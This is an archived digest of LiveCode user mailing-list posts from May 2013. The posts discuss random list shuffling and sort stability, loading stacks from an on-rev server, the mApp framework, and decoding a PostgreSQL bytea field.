In-Reply-To: References: Message-ID: <519E1ED0.2080300@fourthworld.com> Dick Kriesel wrote: > command shuffle @rLines > sort rLines by random( 4294967295 ) -- note: 2^32-1 > end shuffle Wouldn't that put the probability of sorting bottom-to-top unusually high, since there the odds are 4294967292-to-1 that the sort integer will exceed the number of lines in the list? Chris Sheffield originally wrote: > I have a list of three words that I need to be randomly sorted. > To start with, the first word is the correct answer to a question. > I want to re-order the list so that the correct answer may be the > second or third word, and not necessarily the first. If we were to do this manually, we'd do something like: 1. Put a random line out of three lines into a new list. This leaves us with two remaining lines, so: 2. Put a random line out of two lines after the new list. This leaves us with just one so: 3. Put the remaining line at the bottom of the new list. On a field containing lines with "rat", "cat", and "bat", this simple script provides a reasonable distribution of results: on mouseUp put fld 1 into tList put random(3) into n put line n of tList into tNewList delete line n of tList put random(2) into n put cr& line n of tList after tNewList delete line n of tList put cr& line 1 of tList after tNewList put tNewList into fld 2 end mouseUp I wouldn't use such a crude method for a long list, but for just three lines it seems to get the job done. Did I miss something in the original problem statement? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From rman at free.fr Thu May 23 10:04:43 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 07:04:43 -0700 (PDT) Subject: start using stack In-Reply-To: <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> Message-ID: <1369317883376-4665294.post@n4.nabble.com> Yes! thanks for the correction! I couldn't get to that point.. because *the problem lies somewhere on my on-rev server.* indeed calling the sample test stack with the nabble link works fine (once the result line corrected!) So question is /do other guy than me have a problem with that command in the context of ==> stack being on on-rev server "odin"/ ?? Corrected "calling" stack : goStackURL.livecode Target stack : target stack on nabble target Stack on on-rev target stack on on-rev -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665294.html Sent from the Revolution - User mailing list archive at Nabble.com. From rman at free.fr Thu May 23 10:09:33 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 07:09:33 -0700 (PDT) Subject: start using stack In-Reply-To: <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> Message-ID: <1369318173631-4665296.post@n4.nabble.com> Yes! thanks for the correction! I couldn't get to that point.. because the problem lies somewhere on my on-rev server. indeed calling the sample test stack with the nabble link works fine (once the result line corrected!) So question is do other guy than me have a problem with that command in the context of ==> stack being on on-rev server "odin" ?? ****************** Loader Stack, corrected : goStackURL.livecode Target remote addresses 1) on nabble : http://runtime-revolution.278305.n4.nabble.com/file/n4665288/drawings.livecode 2) on on-rev : http://rman.on-rev.com/stacks/LC6BIN/drawings.livecode -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665296.html Sent from the Revolution - User mailing list archive at Nabble.com. From bonnmike at gmail.com Thu May 23 10:22:09 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 23 May 2013 08:22:09 -0600 Subject: start using stack In-Reply-To: <1369317883376-4665294.post@n4.nabble.com> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> <1369317883376-4665294.post@n4.nabble.com> Message-ID: As mentioned by John Dixon, save the stack that you wish to "use' with your on-rev server in legacy format. LC server can't read the new stackfile format. (in the ide, save as, bottom of the window choose legacy 2.7. Save it, pop it onto your account and go from there) Also, not sure how scriptlimits are implemented in LC server, but you can write an lc script that will take a posted script, create a stack file, set the stack script to the script you sent, then save it on the server. I've done this with short scripts so that I could just have my own easy peasy way to edit the stacks directly on the server. Load the script of the stack into a form, edit it, pop it back into the stack file and save. As mentioned for shorty stuff it seemed to work fine, not sure if/when script limits might kick in for that. On Thu, May 23, 2013 at 8:04 AM, Robert Mann wrote: > Yes! thanks for the correction! I couldn't get to that point.. because *the > problem lies somewhere on my on-rev server.* > > indeed calling the sample test stack with the nabble link works fine (once > the result line corrected!) > > So question is /do other guy than me have a problem with that command in > the context of > ==> stack being on on-rev server "odin"/ ?? > > Corrected "calling" stack : > goStackURL.livecode > < > http://runtime-revolution.278305.n4.nabble.com/file/n4665294/goStackURL.livecode > > > Target stack : > target stack on nabble > < > http://runtime-revolution.278305.n4.nabble.com/file/n4665288/drawings.livecode > > > target Stack on on-rev > target stack on on-rev > > > > > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665294.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Thu May 23 10:36:52 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 23 May 2013 07:36:52 -0700 Subject: Random sort demonstration In-Reply-To: <519E1ED0.2080300@fourthworld.com> References: <519E1ED0.2080300@fourthworld.com> Message-ID: On Thu, May 23, 2013 at 6:51 AM, Richard Gaskin wrote: > Wouldn't that put the probability of sorting bottom-to-top unusually high, > since there the odds are 4294967292-to-1 that the sort integer will exceed > the number of lines in the list? If I'm reading the prior posts right, that won't be a problem, because all of the lines will have such a number. Whereas for a small list, there could indeed be a problem: if numbers from 1 to three are being generated, there is only a 1/3 chance that all of the numbers from 1 to 3 are generated (1*2/3*1/3). There is also a 1/3 chance that the same number is generated three times (3*(1/3*1/3)). In such cases, the order of the affected lines (the ones with the multiply drawn number) would not change (e.g., if both have "2", they will both be left where they are). Put another way, 2/3 of the time, one or more lines will not be subject to sort. That said, sorting three lines by random(3) is not going to give random results. A number that is large compared to the lines sorted is needed -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Thu May 23 10:44:48 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 23 May 2013 07:44:48 -0700 Subject: Random sort demonstration In-Reply-To: References: <519E1ED0.2080300@fourthworld.com> Message-ID: On Thu, May 23, 2013 at 7:36 AM, Dr. Hawkins wrote: > There is also a 1/3 chance that the same number is generated three > times (3*(1/3*1/3)). Scratch that; not quite awake yet. That should be a 1/9 chance (3* (1/3*1/3*1/3)). This leaves 2/3 of the time in which at least one combination of lines is not subject to sort. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From gcanyon at gmail.com Thu May 23 10:51:10 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Thu, 23 May 2013 09:51:10 -0500 Subject: Random sort demonstration In-Reply-To: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> Message-ID: On Thu, May 23, 2013 at 1:08 AM, Dar Scott wrote: > The problem is equality in the sort. It keeps the same order in > comparison of pairs of items. For example, the items sorted in the last > case above as though they were 2,2,3. The first item is still first. > > So... > > Use large values for the argument to random() in random sorts. > Came here to say this -- in case it's not clear, sorts in LC are stable, meaning that they don't change the order of the input unless they have to. This can be useful when you have several different things to sort by. Suppose you want to sort a list of people by age, and then by name. If the data looks like first name,last name,age,other stuff then you could use: sort lines of theData by item 1 of each sort lines of theData by item 2 of each sort lines of theData numeric by item 3 of each To Dar's point, here the stable sort means that you should never use this to get a random sort: sort lines of someContainer by random(the number of lines of someContainer) You are almost guaranteed to get less than random results. Instead always use something like sort lines of someContainer by random(999999999) gc From rman at free.fr Thu May 23 10:53:10 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 07:53:10 -0700 (PDT) Subject: start using stack In-Reply-To: <1369317883376-4665294.post@n4.nabble.com> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> <1369317883376-4665294.post@n4.nabble.com> Message-ID: <1369320790166-4665298.post@n4.nabble.com> Ok I corrected the loading test stack ("put the result in tTheLongIdofTheTargetField" does not work!) which is here : goStackURL.livecode and which has the test addresses ready to click, and that shows the result All the files referenced on my on-rev account exist and are loaded ok by LC6 except the one saved in a txt format that crash LC6. For me it indicates there is a specific problem -- either on my on-rev settings somewhere, -- on the odin server ---- TO my view, The fact that lc server does not open latest stacks and needs legacy stacks to RUN, SHOULD not affect the simple READ & LOAD of a stack from another via "GO STACK URL.." !? or? I checked the MIME types in my cp panel, and am surprised that no mime type exist for livecode, lc rev...?? -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665298.html Sent from the Revolution - User mailing list archive at Nabble.com. From rman at free.fr Thu May 23 11:04:30 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 08:04:30 -0700 (PDT) Subject: [ON-REV] by the way what happened to on-rev ftp editor? Message-ID: <1369321470401-4665299.post@n4.nabble.com> ? Last week, on opening on-rev editor version 2 (latest?!) i got a msg kind of "a new version is on the way.. just.. go and get a pint of beer!" set of! (actually there was new download link but did not work) ? Today the editor just freezes (wanted to try an alternative upload to interarchy), no beer! no more msg. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/ON-REV-by-the-way-what-happened-to-on-rev-ftp-editor-tp4665299.html Sent from the Revolution - User mailing list archive at Nabble.com. From vokey at uleth.ca Thu May 23 11:10:16 2013 From: vokey at uleth.ca (Vokey, John) Date: Thu, 23 May 2013 15:10:16 +0000 Subject: randomly order a list In-Reply-To: References: Message-ID: <64166CED-2428-43BB-A34F-636CB0C0BF7D@uleth.ca> Shuffling is more complicated than commonly thought. A properly uniform shuffle is given as follows: function scramble x -- scramble lines or items in a row put the number of lines of x into z if z = 1 then put the number of items of x into n else put the number of lines of x into n repeat with i=n down to 2 put random(i) into k if z=1 then put item k of x into t else put line k of x into t if z=1 then put item i of x into item k of x else put line i of x into line k of x if z=1 then put t into item i of x else put t into line i of x end repeat return x end scramble On 2013-05-23, at 4:56 AM, use-livecode-request at lists.runrev.com wrote: > Good idea, Jacques. How about this? > > command shuffle @rLines > sort rLines by random( 4294967295 ) -- note: 2^32-1 > end shuffle > > -- Dick > -- Please avoid sending me Word or PowerPoint attachments. See -Dr. John R. Vokey From bonnmike at gmail.com Thu May 23 11:32:45 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 23 May 2013 09:32:45 -0600 Subject: start using stack In-Reply-To: <1369320790166-4665298.post@n4.nabble.com> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> <1369317883376-4665294.post@n4.nabble.com> <1369320790166-4665298.post@n4.nabble.com> Message-ID: DOH, sorry yep I misunderstood. However, I have a workaround. Change the name of the file. LC doesn't care what the extension is, but apparently on-rev is set up so that (my guess) that .livecode is an extension that has an action associated with it. Which means that (I think) lc server tries to open it, giving you the "stack corrupted" message (which to lc server it is, especially if its the newer stack version) Easiest way around the problem is give your files a different extension. I changed mine to .dat and its working fine now. (you could also probably store them in a database and just do a query using lc to pop out whichever one you need and bipass the issue that way too. On Thu, May 23, 2013 at 8:53 AM, Robert Mann wrote: > Ok I corrected the loading test stack ("put the result in > tTheLongIdofTheTargetField" does not work!) > which is here : > goStackURL.livecode > < > http://runtime-revolution.278305.n4.nabble.com/file/n4665298/goStackURL.livecode > > > and which has the test addresses ready to click, and that shows the result > > All the files referenced on my on-rev account exist and are loaded ok by > LC6 > except the one saved in a txt format that crash LC6. > > For me it indicates there is a specific problem > -- either on my on-rev settings somewhere, > -- on the odin server > > ---- TO my view, The fact that lc server does not open latest stacks and > needs legacy stacks to RUN, > SHOULD not affect the simple READ & LOAD of a stack from another via "GO > STACK URL.." !? or? > > I checked the MIME types in my cp panel, and am surprised that no mime type > exist for livecode, lc rev...?? > > > > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665298.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From alanstenhouse at hotmail.com Thu May 23 11:53:09 2013 From: alanstenhouse at hotmail.com (Alan Stenhouse) Date: Thu, 23 May 2013 17:53:09 +0200 Subject: mApp Framework problems Message-ID: G'day all Am starting to use Monte's mApp framework and have run into a couple of problems: 1. Added a datagrid and this works and displays fine on normal resolution displays but on Retina displays for iPhone + iPad nothing is displayed. Seems sort of strange - just want to check if anyone else has done this ok or not? 2. In testing/playing further, I now seem to have mucked something else up - am certainly getting some unexpected behaviour (Think this error came up after deleting a datagrid from one of the cards in the UI stack, though there are still datagrids on other cards) . When I now open the mainstack or try testing on the simulator, what had previously worked now gives me the error "Could not find stack" This error comes from the mApp framework - I can see the code and see that the property (added by the framework) mAppProps["UIStack"] of my main UI stack is empty, thus resulting in this error. Strange. If anyone has ideas I'm keen to learn... or else I'll start again and see if I can somehow replicate. Thanks for any help! cheers Alan :-) p.s. Very much looking forward to that high-priority item on the development list - the beer machine! -- Alan Stenhouse alanstenhouse at hotmail.com Check out our apps on the App Store: BeatSpeak - the multilingual talking metronome; EV-Point - Find your nearest Electric Vehicle Recharge Station. From dsc at swcp.com Thu May 23 12:16:50 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 10:16:50 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> Message-ID: <712926D1-B917-4F47-B2B7-D936E2B74A20@swcp.com> Yes, sorting involves picking. But this is assigning a sorting value to each item or line. Each item or line is assigned a value independently; the history of assigning previous values does not matter. Only then is the sorting performed (virtually). It is possible for some lines to be assigned the same value. They do not change sort order. With large numbers, this is trivial. With small arguments to random(), this becomes important. We can think of it like this. Suppose we are sorting lines. We add a random number as an item to the front of each line. Some lines will get the same number. Then we sort 'by item 1 of each', that is, by the random number. Those lines with the same number will not change relative positions. Then we remove the random number in front. We have our scrambled list. If that random number is chosen from {1,2,3} and the list is 3 lines, then there is a 14/27 chance that the first line will stay the first line instead of 1/3 as we want. The 'by random(3)' works the same. It assigns a value to each line. The 'by random(99999)' has less of a chance of same values. This is confirmed by empirical tests. Dar On May 23, 2013, at 5:36 AM, Michael Mays wrote: > No it is 3 factorial. Jacques and Craig and I are right. > > This is picking without replacement, not picking with replacement. The first answer position has three choices. Once you pick it the second answer position has 2 and the final position 1 option left. To get 27 options means you have answer sheets where the first answer is option 3, you return option 3 to the list and the second answer is option 3 and you return option 3 to the list and the third question is option three and other such. Sort by defaults to an ordering which makes sense in these cases making it look like you have a right answer ordering. > > Michael > > On May 23, 2013, at 12:20 PM, Dar Scott wrote: > >> Easy mistake to make, Jacques, but it is not 3!. >> >> Random() emulates independent random numbers. It cannot avoid numbers returned before in the sort. Each line will get a randomly assigned number independent of the other lines. >> >> The number of ways 3 lines can be ordered does not apply. >> >> Each line will be assigned a number by random(). So it is possible that the first line will be assigned a 2 and the other lines assigned 2, also. The probability of that is one out of 3^3. (Not three factorial) >> >> You can create a function to log the assignments and use that as the comparison metric function. You can see the assignments, and different lines can have the same value. >> >> Each sort will get a random pattern of 1, 2 and 3. There are 27 of them. >> >> Fourteen of them will cause a sort with the first line coming first again. That is 52%, not 33%. >> >> You can write code to sort the same starting string a thousand times and the same first line will show up 52% of the time, not 33%. >> >> Dar >> >> On May 22, 2013, at 6:16 PM, Jacques Hausser wrote: >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rjb at robelko.com Thu May 23 12:37:27 2013 From: rjb at robelko.com (Robert Brenstein) Date: Thu, 23 May 2013 18:37:27 +0200 Subject: Random sort demonstration In-Reply-To: References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> Message-ID: On 23.05.2013 at 9:51 Uhr -0500 Geoff Canyon apparently wrote: >To Dar's point, here the stable sort means that you should never use this >to get a random sort: > >sort lines of someContainer by random(the number of lines of someContainer) > >You are almost guaranteed to get less than random results. Instead always >use something like > >sort lines of someContainer by random(999999999) > >gc I wonder why nobody suggests adding "numeric" parameter to random sorts like above. After all, the sort column is a number but without that parameter is sorted as ascii text not numeric value. Robert From rman at free.fr Thu May 23 12:50:19 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 09:50:19 -0700 (PDT) Subject: start using stack In-Reply-To: References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> <1369317883376-4665294.post@n4.nabble.com> <1369320790166-4665298.post@n4.nabble.com> Message-ID: <1369327819555-4665307.post@n4.nabble.com> Yeap!! Brilliant!! That is it... the LC server Beast was ruling the file system behind the scene!! So I'think it's going to be a good idea for me to go and append the documentation of "go stack url" for on-rev users and put a warning for the ones who would try and download a stack from a folder "covered" by LC server! Thanks a lot for taking a look at that! -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665307.html Sent from the Revolution - User mailing list archive at Nabble.com. From bonnmike at gmail.com Thu May 23 12:55:19 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 23 May 2013 10:55:19 -0600 Subject: start using stack In-Reply-To: <1369327819555-4665307.post@n4.nabble.com> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> <1369317883376-4665294.post@n4.nabble.com> <1369320790166-4665298.post@n4.nabble.com> <1369327819555-4665307.post@n4.nabble.com> Message-ID: Yeah, would be a good idea to add the note. I bet the reason its set up that way is so that people can't snag your library stacks and pick em apart for site hacking purposes. If you hit the url for a .livecode file directly, it only returns the very first string that designates the stackfile format. Nothing else gets sent so they're definitely having something else step in and process those files. Pretty good idea actually. Otherwise it would make the security benefit of using stack file libraries go poofy. On Thu, May 23, 2013 at 10:50 AM, Robert Mann wrote: > Yeap!! Brilliant!! That is it... the LC server Beast was ruling the file > system behind the scene!! > So I'think it's going to be a good idea for me to go and append the > documentation of "go stack url" for on-rev users and put a warning for the > ones who would try and download a stack from a folder "covered" by LC > server! Thanks a lot for taking a look at that! > > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665307.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From janschenkel at yahoo.com Thu May 23 13:10:48 2013 From: janschenkel at yahoo.com (Jan Schenkel) Date: Thu, 23 May 2013 10:10:48 -0700 (PDT) Subject: Escaping the Filter command's wildcards In-Reply-To: <1369312173.17990.YahooMailNeo@web141102.mail.bf1.yahoo.com> References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> <519D63AA.7070302@economy-x-talk.com> <519D6BE8.1070209@researchware.com> <1369312173.17990.YahooMailNeo@web141102.mail.bf1.yahoo.com> Message-ID: <1369329048.67896.YahooMailNeo@web141103.mail.bf1.yahoo.com> For those interested, I started the discussion on the engine contributors forum: Cheers, Jan Schenkel. ? ===== Quartam Reports & PDF Library for LiveCode www.quartam.com ===== "As we grow older, we grow both wiser and more foolish at the same time." (La Rochefoucauld) From rman at free.fr Thu May 23 13:12:35 2013 From: rman at free.fr (Robert Mann) Date: Thu, 23 May 2013 10:12:35 -0700 (PDT) Subject: start using stack In-Reply-To: References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> <1369317883376-4665294.post@n4.nabble.com> <1369320790166-4665298.post@n4.nabble.com> <1369327819555-4665307.post@n4.nabble.com> Message-ID: <1369329155488-4665311.post@n4.nabble.com> good idea true, although one could deal with that security issue voluntarily by giving rights to execute only and not download... Note added! thanks again. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665311.html Sent from the Revolution - User mailing list archive at Nabble.com. From rjd318 at gmail.com Thu May 23 13:22:23 2013 From: rjd318 at gmail.com (Jose Damaso) Date: Thu, 23 May 2013 12:22:23 -0500 Subject: postgresql bytea (blob?) In-Reply-To: <8162DDCE-A5ED-4520-A185-A9242DFF8989@mac.com> References: <8162DDCE-A5ED-4520-A185-A9242DFF8989@mac.com> Message-ID: Thank you so much Bjornke! Your solution worked great and I can now read the data =) On 5/21/13, Bj?rnke von Gierke wrote: > Hmm maybe "x7" could indicate it's base15? They used to store ascii in that > encoding, because it's "shorter" then 8 bits (base16)... Nope, it's not > that, and it'd be (number)x or something like that anyway... fumbling > around... what if there's a 0 missing at the start (0x is used for octal, > base16, 8 bit)? Of course! > > So what I did was encode the base16 codes to numbers and then chars, in a > repeat loop (ignoring the x) and in the end i got: "{\rtf1\ansi\a" So that > looks about right. > > Here's the code: > -- > on mouseUp > put "x7b5c727466315c616e73695c616" into theData > repeat for each char theChar in char 2 to -1 of theData > put theChar after twoChars > if the length of twoChars = 2 then > put baseconvert(twoChars,16,10) into twoChars > put numtochar(twoChars) after theResult > put "" into twoChars > end if > end repeat > put theResult -- {\rtf1\ansi\a > end mouseUp > -- > > cheers > Bj?rnke > > > On 21.05.2013, at 04:11, Jose Damaso wrote: > >> Hi - a legacy database at work contains a bytea field that I want to get >> the information out of. It's rich text that was for whatever reason, was >> stored as a blob to keep the formatting codes intact -- I'm not even sure >> what that means since no one here knows much about it and there is no >> documentation on the system. Does anyone know how to convert the returned >> query contents of this bytea field to text (or richtext?) with livecode? >> It >> looks like this >> >> x7b5c727466315c616e73695c616... etc. >> when my basic query is >> put "SELECT c.reportnumber, c.reportblob from cases c WHERE c.ID = " & >> tCaseID into tQuery >> >> Thanks! >> >> I'm a layer2 guy at work but am planning to use Livecode as my >> programming >> gateway drug =) > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Thu May 23 13:26:54 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 23 May 2013 11:26:54 -0600 Subject: start using stack In-Reply-To: <1369329155488-4665311.post@n4.nabble.com> References: <1369306166451-4665284.post@n4.nabble.com> <519DF5C0.5050902@tweedly.net> <1369311614823-4665288.post@n4.nabble.com> <519E1785.3080202@tweedly.net> <3477A67A-AB88-436D-8358-329856A1FC02@major-k.de> <1369317883376-4665294.post@n4.nabble.com> <1369320790166-4665298.post@n4.nabble.com> <1369327819555-4665307.post@n4.nabble.com> <1369329155488-4665311.post@n4.nabble.com> Message-ID: In this case its not executed its "read" by the engine. But putting it outside the directories that can be hit would work swimmingly. (assuming on-rev allows inclusion type stuff from outside the web folder structure. Pretty sure it does) Either way, WOOP it works! On a different note, it would be kinda interesting to have compressed lc stacks for this purpose (like excel uses compressed xml files) both for stackfiles themselves and standalones (even on winders). Smaller transfer package, in the case of a standalone, windows and linux would be a single file (like mac) that includes the externals and copied files. Like a self extracting engine file. Probably not worth the effort though. On Thu, May 23, 2013 at 11:12 AM, Robert Mann wrote: > good idea true, although one could deal with that security issue > voluntarily > by giving rights to execute only and not download... > > Note added! thanks again. > > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/start-using-stack-tp4665159p4665311.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dsc at swcp.com Thu May 23 13:59:55 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 11:59:55 -0600 Subject: Random sort demonstration In-Reply-To: References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> Message-ID: Yikes! I was thinking the default was automatic and not text. Good idea! Now, I wonder if it makes a difference in the final probabilities. Maybe performance is influenced. On May 23, 2013, at 10:37 AM, Robert Brenstein wrote: > On 23.05.2013 at 9:51 Uhr -0500 Geoff Canyon apparently wrote: >> To Dar's point, here the stable sort means that you should never use this >> to get a random sort: >> >> sort lines of someContainer by random(the number of lines of someContainer) >> >> You are almost guaranteed to get less than random results. Instead always >> use something like >> >> sort lines of someContainer by random(999999999) >> >> gc > > I wonder why nobody suggests adding "numeric" parameter to random sorts like above. After all, the sort column is a number but without that parameter is sorted as ascii text not numeric value. > > Robert > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jhj at jhj.com Thu May 23 14:14:02 2013 From: jhj at jhj.com (Jerry Jensen) Date: Thu, 23 May 2013 11:14:02 -0700 Subject: Random sort demonstration In-Reply-To: References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> Message-ID: Thanks for pointing that out! I've got some checking to do of old code. Imagine the weighting that would be caused by random(20)... .Jerry On May 23, 2013, at 9:37 AM, Robert Brenstein wrote: > > I wonder why nobody suggests adding "numeric" parameter to random sorts like above. After all, the sort column is a number but without that parameter is sorted as ascii text not numeric value. > > Robert From mcgrath3 at mac.com Thu May 23 14:21:18 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 23 May 2013 14:21:18 -0400 Subject: mApp Framework problems In-Reply-To: References: Message-ID: Alan, I have been working with mApp a lot the past few days. Although I did not see this particular problem I can say that you have to be careful deleting elements after applying rules to them. I ran into something where everything went haywire after deleting a background group. Let us know what you figure out. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 23, 2013, at 11:53 AM, Alan Stenhouse wrote: > G'day all > > Am starting to use Monte's mApp framework and have run into a couple of problems: > > 1. Added a datagrid and this works and displays fine on normal resolution displays but on Retina displays for iPhone + iPad nothing is displayed. Seems sort of strange - just want to check if anyone else has done this ok or not? > > 2. In testing/playing further, I now seem to have mucked something else up - am certainly getting some unexpected behaviour (Think this error came up after deleting a datagrid from one of the cards in the UI stack, though there are still datagrids on other cards) . When I now open the mainstack or try testing on the simulator, what had previously worked now gives me the error > > "Could not find stack" > > This error comes from the mApp framework - I can see the code and see that the property (added by the framework) > > mAppProps["UIStack"] > > of my main UI stack is empty, thus resulting in this error. Strange. > > If anyone has ideas I'm keen to learn... or else I'll start again and see if I can somehow replicate. > > Thanks for any help! > > cheers > > Alan :-) > > p.s. Very much looking forward to that high-priority item on the development list - the beer machine! > > -- > Alan Stenhouse > alanstenhouse at hotmail.com > > Check out our apps on the App Store: > > BeatSpeak - the multilingual talking metronome; > EV-Point - Find your nearest Electric Vehicle Recharge Station. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Thu May 23 14:35:18 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 23 May 2013 13:35:18 -0500 Subject: scrolling stack I made In-Reply-To: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: <519E6166.9090007@hyperactivesw.com> On 5/18/13 5:04 AM, Colin Holgate wrote: > While at the conference I found time to figure out a couple of > things. I used arrays for the first time (in LiveCode that is), and I > found hardware acceleration settings that worked well. > > The test I did was to have a scene doing parallax scrolling. The > initial scene is made up of five slices, each 1024 wide, and > significantly tall too. Those need to be on the card twice each, so > that you can scroll the second copy into view as you move. That went > well enough, so I added 101 LC logos to the scene, and it still moved > well. This is pretty amazing. We took an extra week in Scotland after the conference, and very little internet access, so I just now had a chance to look at the stack. I'm really impressed. The only thing I'd add is a closestack handler that stops the pending messages when the stack is closed. I noticed the fans in my iMac went wild and LiveCode was using 100% of the CPU, which I tracked down to pending messages. I suppose that isn't an issue on mobile but on desktop things get quite lively. (For some reason it kicked Finder into 100% CPU too, so I had 2 processes going full speed for a while. I had to relaunch Finder to get it to stop.) Still, the effect was worth it. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Thu May 23 14:36:11 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 11:36:11 -0700 Subject: Escaping the Filter command's wildcards In-Reply-To: <1369329048.67896.YahooMailNeo@web141103.mail.bf1.yahoo.com> References: 